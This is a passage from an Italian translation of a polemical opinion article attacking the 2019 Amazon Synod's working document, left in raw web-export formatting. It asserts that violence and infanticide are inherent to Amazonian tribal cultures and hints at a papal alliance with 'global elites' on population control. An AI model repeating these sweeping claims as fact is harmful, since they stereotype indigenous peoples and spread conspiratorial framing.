In modo simile, il sito ufficiale del sinodo contiene pagine dedicate a religiosi cattolici che sono stati uccisi nella regione, suggerendo che ognuna di queste persone sia stata martirizzata a causa della fede, implicando nel contempo che i nativi sono forzati dalla loro povert\u00e0 a commettere atti di violenza. Infatti ci sono stati pi\u00f9 di un migliaio di uccisioni per conflitti sulla terra solo in Brasile durante gli ultimi decenni, a ricordarci che la violenza \u00e8 insita nella cultura tribale.<\/p>\n

Non c\u2019\u00e8 dubbio che ognuno di questi religiosi abbia dedicato la propria vita ad aiutare le povere popolazioni dell\u2019Amazzonia o che la loro morte sia stata tragica. Ma riferirsi ad essi come \u201cmartiri\u201d non \u00e8 corretto, specialmente nei numerosi casi in cui sembra che in una certa misura abbiano rinnegato la loro fede per adottare la cultura pagana circostante nel nome dell\u2019\u201dincontro\u201d.<\/p>\n

IL \u201cVOLTO AMAZZONICO\u201d <\/strong>L\u2019IL ci dice che la Chiesa dal volto amazzonico \u00e8 quella \u201cChiesa con una chiara opzione per (e con) i poveri e per la cura del creato\u201d<\/em> (IL, 109). Se letto nel contesto dell\u2019intero documento, col suo orizzontalismo marxiano, il rifiuto del capitalismo, il sostegno alle energie rinnovabili, la fiducia nel comunicare con gli spiriti della natura, la chiara denuncia della dottrina oggettiva, non \u00e8 difficile immaginare il mondo che gli autori hanno in mente.<\/p>\n

Cio\u00e8 una Chiesa Cattolica universalista, priva di magnifiche cattedrali, senza musica n\u00e9 arte (troppo occidentali), che fa assistenza a gente senza accesso ad acqua e servizi sanitari (appoggiandosi per le infrastrutture a quelle del capitalismo), con elettricit\u00e0 intermittente (le rinnovabili non sono note per la loro affidabilit\u00e0) in un paesaggio di estrema povert\u00e0 (egualitarismo) dal quale non c\u2019\u00e8 via di scampo, eccetto attraverso droghe che alterano lo stato di coscienza e infine il suicidio.<\/p>\n

\"\"<\/a>Inoltre c\u2019\u00e8 una preoccupazione ancora pi\u00f9 sinistra tra le molte domande urgenti che emergono dall\u2019IL del sinodo. Riguarda la devozione dell\u2019attuale amministrazione papale nei confronti delle \u00e9lites globali e al loro programma di controllo della popolazione.<\/p>\n

Fino ad oggi, Papa Francesco ha rifiutato l\u2019uso della contraccezione e dell\u2019aborto come metodi di controllo della popolazione. In questo un ambito ha mostrato tutto sommato una certa continuit\u00e0 [almeno a parole, ndt<\/strong>]. Ma la Chiesa \u00e8 sottoposta a un\u2019enorme pressione da parte dei globalisti, dei governi e della maggioranza della gente per approvare contraccezione e aborto, al fine di limitare la popolazione mondiale, per arrivare ad un totale riconoscimento dei cosiddetti \u201cdiritti riproduttivi delle donne\u201d<\/em>.<\/p>\n

Il Sinodo \u00e8 stato sospettato di veicolare idee quali i preti sposati, le donne diacono, la teologia della liberazione. \u00c8 possibile che questo incontro diventi anche veicolo di un cambio nell\u2019insegnamento della Chiesa su aborto, infanticidio ed eutanasia?<\/p>\n

\u00c8 solo una coincidenza il fatto che l\u2019attuale amministrazione papale, cos\u00ec innamorata dei pacchetti di politiche promulgate dai controllori della popolazione, focalizzi la sua attenzione su una cultura che include l\u2019infanticidio e l\u2019eutanasia quali metodi di controllo delle nascite? E che abbraccia una filosofia della vita e della morte che giustifica questi crimini categorizzando alcuni umani come non-persone? E che, la cosa pi\u00f9 sconvolgente, a noi cattolici venga chiesto di abbracciarne la relativa spiritualit\u00e0?<\/p>\n

\"\"<\/a>MA QUALE \u201cECO-CIDIO\u201d, L\u2019INFANTICIDIO \u00c8 UN PECCATO CHE GRIDA AL CIELO <\/strong>La regione Amazzonica \u00e8 piena di ingiustizie, \u00e8 innegabile, ma un esame onesto rivela che la maggior parte di questi conflitti non rientra nella missione della Chiesa. La pi\u00f9 lampante omissione di questo documento (a parte il disprezzo di antichi e onorati metodi di evangelizzazione e catechesi) \u00e8 il suo rifiuto di riconoscere che l\u2019immensa sofferenza \u00e8 causata dall\u2019adesione delle culture tribali alle pratiche infanticide.<\/p>\n

La ragazza adottata, sopravvissuta all\u2019infanticidio, Kanhu Suzuki, cos\u00ec ha parlato all\u2019audizione di un congresso sui diritti dei disabili nel 2017: \u201cQuando si passa al tema dell\u2019uccisione di bambini, ci sono persone che dicono \u201cOh, ma quella \u00e8 la loro cultura, dobbiamo rispettarla\u201d. Per l\u2019amore di Dio, cosa state dicendo! Una cultura che contempla la morte dell\u2019innocente deve essere fermata. <\/em>\u00c8 triste pensare quanto siamo ignorati. <\/em><\/p>\n

Voi ci abbandonate, fingete che siamo invisibili visto che siamo lontani da qua in mezzo alla giungla. Fingete che siamo nulla e usate la scusa della cultura. Vi chiedo ancora una volta di ripensarci. Noi siamo qui, gridiamo per chiedere aiuto. Gridiamo per i nostri diritti\u201d<\/em>.<\/p>\n

Forse gli autori di questo Instrumentum Laboris<\/em> dovrebbero prestare maggior attenzione alle parole del loro mentore, Papa Francesco. Come ha affermato in Laudato Si\u2019, \u201cSe l\u2019essere umano si dichiara autonomo dalla realt\u00e0 e si costituisce dominatore assoluto, la stessa base della sua esistenza si sgretola [\u2026]\u201d (LS, 117).<\/p>\n

\"\"<\/a>Sostenere che le culture che promuovono l\u2019uccisione di bambini sono la nostra speranza e che la teologia indiana dovrebbe sostituire la verit\u00e0 rivelata \u00e8 un tentativo di allontanamento dalla realt\u00e0 di proporzioni veramente epiche.<\/strong><\/p>\n

Ma cos\u00ec si era espresso il documento preparatorio per il Sinodo, citando il Simposio di Teologia Indiana del 2017: \u201cMentre pensiamo a una Chiesa dal volto amazzonico, sogniamo con i piedi per terra, la nostra terra di origine. Al tempo stesso, riflettiamo con gli occhi aperti su come questa Chiesa dovr\u00e0 essere, a partire dalla concreta variet\u00e0 culturale dei popoli. I nuovi cammini dovranno incidere sui ministeri, sulla liturgia e sulla teologia (teologia india)\u201d<\/em>.<\/p>\n","protected":false},"excerpt":{"rendered":"

da Ricognizioni 26 e luglio 2019 L\u2019articolo di Kathy Clubb (1) \u00e8 stato pubblicato su The Freedoms Project (2) il 25\/06\/19 con il titolo \u201cThe real \u2018face of the Amazon\u2019: a culture of death\u201d. Lo pubblichiamo nella traduzione di Marco Manfredini.<\/p>

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